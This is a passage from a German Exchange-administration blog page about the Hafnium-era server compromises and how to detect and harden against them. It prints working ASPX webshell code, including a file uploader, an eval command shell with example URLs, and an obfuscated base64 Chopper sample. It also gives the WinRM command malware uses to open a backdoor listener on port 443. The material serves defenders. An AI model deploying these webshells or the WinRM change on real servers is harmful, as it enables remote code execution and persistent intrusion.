Dann kann es aber passieren, dass die "Bereinigung" des Server schon wieder eine Veränderung des "Tatorts" bedeutet, der vielleicht noch gar nicht freigegeben ist. Hier lauern viele Fallstricke.

Land Links

RLP

BaWü

NRW

HH

BAY

Berlin

NI

Hessen

Bund / BSI

Wer einen betroffenen Server hat und bisher keine Meldung abgegeben hat, könnte je nach Land mit einem Bußgeld belegt werden.

Webshell und RemoteShell

Auf dieser Seite habe ich mehrfach den Begriff "Webshell" genannt, ohne die grundlegende Funktion zu beschreiben. Webserver liefert nicht nur statische Dateien aus, sondern können auch Seiten im Moment des Zugriffs "errechnen". Jede PHP-Seite ist ein gutes Beispiel dafür. Auf einem Exchange Server übernimmt der IIS diese Funktion und ASP bzw. neuer ASPX sind entsprechende Dateien. Die Übergabe von Parametern erfolgt meist als Teil der URL. Ich muss als auf ihrem Webserver eine Datei in der folgenden Form ablegen oder eine bestehende Datei um diese Funktion "erweitern:

<script runat="server">

protected void Page_Load(object sender, Eventargs e) {
   System.io.streamwriter sw = new System.io.streamwriter(Request.Form["fname",false, Encoding.Default);
   sw.write(Request.Form["fdata"]);
   sw.close();
}
</script>

Diese Seite kann ich dann einfach per Browser aus der Ferne aufrufen um eine Datei "filename" mit dem Inhalt "Dateiinhalt" zu schreiben:

https://server.msxfaq.de/aspxuploader.aspx?fname=.\filename&fdata=Dateiinhalt

Interessanter ist aber gleich ein beliebiges Programm mit privilegierten Rechten zu starten. Das geht noch schnelle, wenn man den Code durch einen Exploit in eine Webseite eingeschmuggelt hat.

<script Language="JScript" runat="server" Debug=true>

eval (Request["feldname"],"unsafe");
</script>

In dem Fall muss ich den auszuführenden Befehl als "feldname" übergeben.

https://server.msxfaq.de/aspxshell.aspx?feldname=cmd /c dir

Sie sehen schon, dass der Code sehr einfach zu verändern ist. Wenn die ASPX-Seite etwas aufwändiger ist, dann kann ich mehr Befehle direkt in die ASPX-Seite einbauen, die ich nur noch steuern muss. Über diesen Weg kann der Angreifer auch komplette PowerShell-Skripte "übertragen" und ausführen, Download von weiteren Tools ausführen und diese dann weiter ausführen. Eine Malware wird die ASPX-Seite aber sicher nicht so "lesbar" ablegen sondern "verstecken". Da gibt es ganz viele Optionen, angefangen von veränderten Variablennamen, aufgeteilten Strings und Parametern, die dann erst wieder zusammengesetzt werden, z..B.

Quelle https://www.trendmicro.com/en_us/research/21/a/targeted-attack-using-chopper-aspx-web-shell-exposed-via-managed.html 

<%@ Page Language="Jscript" Debug=true%>
<%
var a=System.Text.Encoding.GetEncoding(65001).GetString(System.Convert.FromBase64String("UmVxdWVzdC5Gb3JtWyJjb21tYW5kIl0="));
var b=System.Text.Encoding.GetEncoding(65001).GetString(System.Convert.FromBase64String("dW5zYWZl"));
var c=eval(a,b);
eval(c,b);
%>

Die Schreibweisen sind endlos variierbar, so dass pattern-basierte Scans in der Regel diese Dateien nicht mehr entdecken.

Das ist aber erst der Anfang. Interessant wird es nun, wenn ich auf dem Server statt der ASPX-Datei ein Skripte zur Ausführung bringe, welches eine Verbindung zu meinem eigenen Server herstellt und auf Eingaben wartet. Auch dies gibt es als fertige Module z.B. als nishang (https://GitHub.com/samratashok/nishang/tree/master/Shells) und andere Tools samt Anleitung, wie diese Skripte "InMemory" ausgeführt werden können und damit einem normalen "dateibasierten" Virenscanner verborgen bleiben.

Als Angreifer muss ich dann nur einen Computer mit vom Zielsystem ansprechbarerer IP-Adresse bereitstellen und auf eingehende Verbindungen warten. Die remote-Shell startet und verbindet sich per TCP, HTTP, WMI, UDP u.a. Protokolle mit der Konsole des Angreifers.

WebShells sind optimal, um remote Code auszuführen, wen ich den Server z.B. per HTTP erreichen kann und keine URL-Inhalte geprüft werden. Sollte der Server auch ausgehend kommunizieren können, dann wird der Angreifer sehr schnell auf eine RemoteShell schwenken, weil Sie dann gar nicht mehr die Requests im IISLog sehen und auch der Timeout des Webservers sie nicht hindert.

Systeme weiter absichern

Software-Fehler eines Produkts können Sie nicht generell verhindern und wird es zukünftig immer geben. Aber zwischen einen Fehler finden und dann auch noch ausnutzen um eine weitere Aktion auszuüben liegen mehrere Stationen. Oftmals kommen beim Schadcode die gleichen Techniken zum Einsatz, die wir schon von anderen Vorgängen kennen. Insbesondere JavaScript für eine WebShell o.ä. werden gerne recycled und Microsoft hat mehrere "Kennzeichen" dazu publiziert:

Script/Exmann.A!dha
Behavior:Win32/Exmann.A
Backdoor:ASP/SecChecker.A
Backdoor:JS/Webshell (not unique)
Trojan:JS/Chopper!dha (not unique)
Behavior:Win32/DumpLsass.A!attk (not unique)
Backdoor:HTML/TwoFaceVar.B (not unique)

Es gibt also Skripte, aber auch ausführbaren Code oder ein "Verhalten". Wenn ein Prozess z.B. einen Dump des Process "LSASS" anfertigt um darin dann die Kennworte für weitere Konten zu finden, dann ist das ein sehr ungewöhnlicher Prozess. "Bessere" Virenscanner überwachen nicht nur den Zugriff auf Dateien hinsichtlich Viren und anderem Schadcode sondern beobachten auch das Verhalten von Prozessen und wo Sie schreiben und lesen. Insofern ist es auch nicht überraschend, dass Defender und Sentinel mittlerweile solche Erkennung bekommen haben.

  • Netzwerk Firewall
    Warum muss ein Exchange Server überhaupt beliebige Server über beliebige Ports erreichen können? Er muss nicht mal "überall hin" surfen können. Strenge "Netzwerk-Firewall"-Regeln und Proxy-Einstellungen sind wichtige Schutzmaßnahmen, auch wenn es mehr Pflegearbeit bedeutet. Aber wenn eine WebShell "nach Hause telefoniert", dann sollte das auffallen.
  • Code Signatur
    Warum kann ein nicht autorisierter Prozess ausführbare Dateien irgendwo ablegen, wenn es nicht der Administrator oder Windows Updates ist? Könnte man auf Servern nicht "Codesignatur" vorschreiben, auch wenn die Administratoren dann ihre Powershell-Skripte auch signieren müssten.

Es bleibt natürlich ein Hase und Igel-Spiel aber wenn so ein Angriff bekannt wird und die AV-Hersteller den Schaden eingrenzen können, ist schon viel gewonnen. Solche Produkte könnten auch erkennen, wenn neue unbekannte Prozesse gestartet werden oder ausführbare Dateien in Verzeichnissen erscheinen, die eigentlich "statisch" sind und nur bei geplanten Updates oder Servicepacks beschrieben werden. Allerdings bin ich Realist genug, dass Sie nicht mit AppLocker auf dem Server arbeiten wollen. Aber eine Protokollierung von "Dateiveränderungen" in extern erreichbaren Pfaden oder kritischen Konfigurationseinstellungen wäre schon ein hilfreiches Produkt.

Natürlich können Sie auch anfangen, die Netzwerkübertragungen, IISLogs u.a. zu erfassen und damit ihre Server und Clients zu "profilieren". Größere Abweichungen sind dann zumindest ein Hinweis dort einmal genauer nachzuschauen. Ein 100% Schutz gibt es aber nie und es ist in kontinuierlicher Wettstreit.

Feedback von Lesern

Bislang muss ich sagen, dass ich noch keinen Exchange Server betreut habe, der verdächtige Dateien aufgewiesen hat. Entweder war ich mit dem Patchen schneller oder die Angreifer haben aufgrund der Menge einfach noch keine Zeit gehabt, sich mit meinen Instanzen zu beschäftigen. Leider ist dies nicht der Regelfall und diverse Leser der MSXFAQ haben mir ihre Erfahrungen geschildert, die ich hier in Auszügen und ohne Quellenangabe wiedergebe.

...Ich habe auf einen Exchange 2013 zwei Webshells gefunden und sie wurden vom aktuellen AV nicht erkannt jedoch vom aktuellen Microsoft Safety Scanner (build 1.331.2674.0) und gleich entfernt. Ich habe den Exchange 2013 erst am 06.03.2021 gepatcht und da war es viel zu spät!!! ...

Der Microsoft Security Scanner hat u.a. entfernt:

Start 'remove' for file://\\?\C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Temporary ASP.NET Files\root\xxx\xxx\App_Web_djrsiry5.dll
  Operation was scheduled to be completed after next reboot.
Start 'remove' for file://\\?\C:\inetpub\wwwroot\aspnet_client\supp0rt.aspx
Start 'remove' for file://\\?\C:\inetpub\wwwroot\aspnet_client\sol.aspx

For cleaning Backdoor:MSIL/Chopper.F!dha, the system needs to be restarted.
Found Exploit:ASP/CVE-2021-27065.B!dha and Removed!

Die Erkennungsrate war laut Virustotal selbst am 8. März noch sehr gering. Gerade mal 5 von 59 Engines erkennen diese Webshell.

Es könnte aber auch sein, dass die Angreifer, die so einen "Schatz" haben, sehr viele leicht modifizierte WebShells zum Einsatz gebracht haben und es damit gar nicht die eine Schad-Komponente gibt.

Entgegen der zuerst eingesetzten ausgefeilten PowerShell-Payloads gibt es nun auch Angriffe mit einfachem CMD-Shells, die sehr veraltet wirken

Dieser Batch legt zwei temporäre BAT-Dateien ab, von denen eine erst einmal "nur" Informationen sammelt. Der "CHOICE"-Befehl als Verzögerung funktioniert mit den Parametern nicht auf meinem Testsystem. Weiter unten kommt dann PING als Verzögerung zum Einsatz. Statt eines "arp -a" hätte ich per PowerShell schon eher das Subnetz gescannt und einen LDAP-Export mitgenommen. Mir wirkt das eher wie zusammenkopiert oder Jahrzehnte als aber deswegen ist es nicht weniger gefährlich. Da die Lücke aber nun vielen Angreifern bekannt ist, werden wie es ganz unterschiedlichen Schadensmustern zu tun haben.

Hintertür WinRM

Diese Hintertür MUSS bei ihnen nicht vorhanden sein, aber sie KANN vorhanden sind. Danke an "Carsten E" für den Hinweis.

Interessant ist der Abschnitt mit WinRM, über den ein Listener auf Port 443 aktiviert wird. Auf einem Standard Server sieht das so aus

PS C:\> winrm enumerate winrm/config/listener
Listener
    Address = *
    Transport = HTTP
    Port = 5985
    Hostname
    Enabled = true
    URLPrefix = wsman
    CertificateThumbprint
    ListeningOn = 127.0.0.1, 192.168.13.16, ::1, fe80::5efe:192.168.13.16%14, fe80::b4db:e7c3:55c4:1d8c%12

PS C:\> winrm get winrm/config/service
Service
    RootSDDL = O:NSG:BAD:P(A;;GA;;;BA)(A;;GR;;;IU)S:P(AU;FA;GA;;;WD)(AU;SA;GXGW;;;WD)
    MaxConcurrentOperations = 4294967295
    MaxConcurrentOperationsPerUser = 1500
    EnumerationTimeoutms = 240000
    MaxConnections = 300
    MaxPacketRetrievalTimeSeconds = 120
    AllowUnencrypted = false
    Auth
        Basic = false
        Kerberos = true
        Negotiate = true
        Certificate = false
        CredSSP = false
        CbtHardeningLevel = Relaxed
    DefaultPorts
        HTTP = 5985
        HTTPS = 5986
    IPv4Filter = *
    IPv6Filter = *
    EnableCompatibilityHttpListener = false
    EnableCompatibilityHttpsListener = false
    CertificateThumbprint
    AllowRemoteAccess = true

Der Schadcode ändert das auf:

C:\>WinRM set winrm/config/service @{EnableCompatibilityHttpsListener = "true"}

Damit macht er WinRM auch über 443 erreichbar und quasi auch von extern. (Siehe drittletzte Zeile)

netsh http show servicestate

Server session ID: FE00000520000003
    Version: 1.0
    State: Active
    Properties:
        Max bandwidth: 4294967295
        Timeouts:
            Entity body timeout (secs): 120
            Drain entity body timeout (secs): 120
            Request queue timeout (secs): 120
            Idle connection timeout (secs): 120
            Header wait timeout (secs): 120
            Minimum send rate (bytes/sec): 150
    URL groups:
    URL group ID: FD00000540000001
        State: Active
        Request queue name: Request queue is unnamed.
        Properties:
            Max bandwidth: inherited
            Max connections: inherited
            Timeouts:
                Timeout values inherited
            Number of registered URLs: 3
            Registered URLs:
                HTTPS://+:443/WSMAN/
                HTTP://+:5985/WSMAN/
                HTTP://+:47001/WSMAN/

Wenn Sie vor ihrem Exchange Server keinen Reverse-Proxy mit URL-Filterung haben und damit den Zugriff auf "/WSMAN" unterbinden, dann ist ihr Exchange Server per WinRM weiterhin erreichbar. Der Angreifer hat so eine Hintertür, wenn er vorher die Credentials z.B. per SAM-Export oder LSASS-Dump gewinnen kann. Es reicht aber auch zu einer DoS-Attacke auf Kennworte. Sie können das von Extern einfach testen:

PS C:\>invoke-webrequest "https://<ihr-owa-server>/WSMAN"

# kommt ein "404 not found" -Fehler, ist das OK
# kommt ein "405 Method no allowed", dann ist die Hintertür vorhanden

PS C:\>invoke-webrequest "https://<ihr-owa-server>/WSMAN" -method POST
# kommt ein "404 not found" -Fehler, dann ist das OK
# kommt ein "503 Service unavailable", dann ist das auch OK
# kommt ein "401 unauthorized", dann ist die Hintertür vorhanden

Wenn WSMAN nicht aktiv ist, dann sehen sie den 404-Fehler im IISLog. Wenn WSMAN aktiv ist, dann wird NICHTS vom IIS protokolliert, da "http.sys" den Request schon umleitet.

Abschalten ist einfach möglich:

WinRM set winrm/config/service @{EnableCompatibilityHttpsListener = "false"}

Dieses Skript zeigt aber auch, dass eine Malware ein Skript irgendwo hinterlegen und per Taskplaner weit in der Zukunft ausführen lassen.

Weitere Payloads

Die Angreifer belassen es aber nicht bei bekannten Malware-Programmen. Von anderen Lesern der MSXFAQ bekam ich am 20. März, also 18 Tage später) die Information, dass Angreifer auch ausführbare Programme auf Domain Controllern abgelegt haben und diese von installierten Virenscannern eher schlecht erkannt wurden.

Sie sollten also immer noch davon ausgehen, dass so eine offene Tür von immer mehr Angreifern genutzt wird, die ihre Malware immer wieder leicht ändern um zumindest einige Tage den Virenscanner zu überlisten.

Das soll nicht bedeuten, dass Virenscanner unwirksam sind. Sie können aber nur "bekannte" Malware erkennen. Eine "Verhaltenskontrolle" scheint immer noch mehr Marketing zu sein. Es wäre doch so einfach zumindest auf Servern aber auch Workstations die Ablage von ausführbarem Code mit einer Rückfrage zu versehen. Quasi "EXE Account Control" analog zu "User Account Control".

Weitere Leser haben mir berichtet, dass nun auch "WMI-Backdoor" bei Kunden gefunden wurden

Der Download und Auspacken der PS1-Datei wurde von Windows Defender nicht blockiert

Eine andere Payload ist der Code von "CobaldStrike" Eigentlich ist dies ein Framework, um Sicherheitslücken zu erkennen aber es enthält auch einen Agenten, der auch missbraucht werden kann. Der Source Code wurde wohl im Nov 2020 geleaked.

Entsprechend gibt es Regeln zur Erkennnung für Yara und Thor Lite

Auch die "Miner" wurden besser. Anstatt mit hoher und damit auffälliger CPU-Last nach Bitcoins zu schürfen, scheinen nun eher Monereo-Minder mit niedriger CPU-Priorität eingesetzt zu werden, damit sie nicht so schnell bemerkt werden.

Sie sollten ab und an die Prozesse auf ihrem Exchange Server und die ausgehenden Verbindungen überprüfen. Siehe auch Hafnium Nachbereitung

Weitere Quellen

Microsoft, als auch die Entdecker der Lücke haben umfangreiche Hintergrundartikel beschrieben.

Weitere Links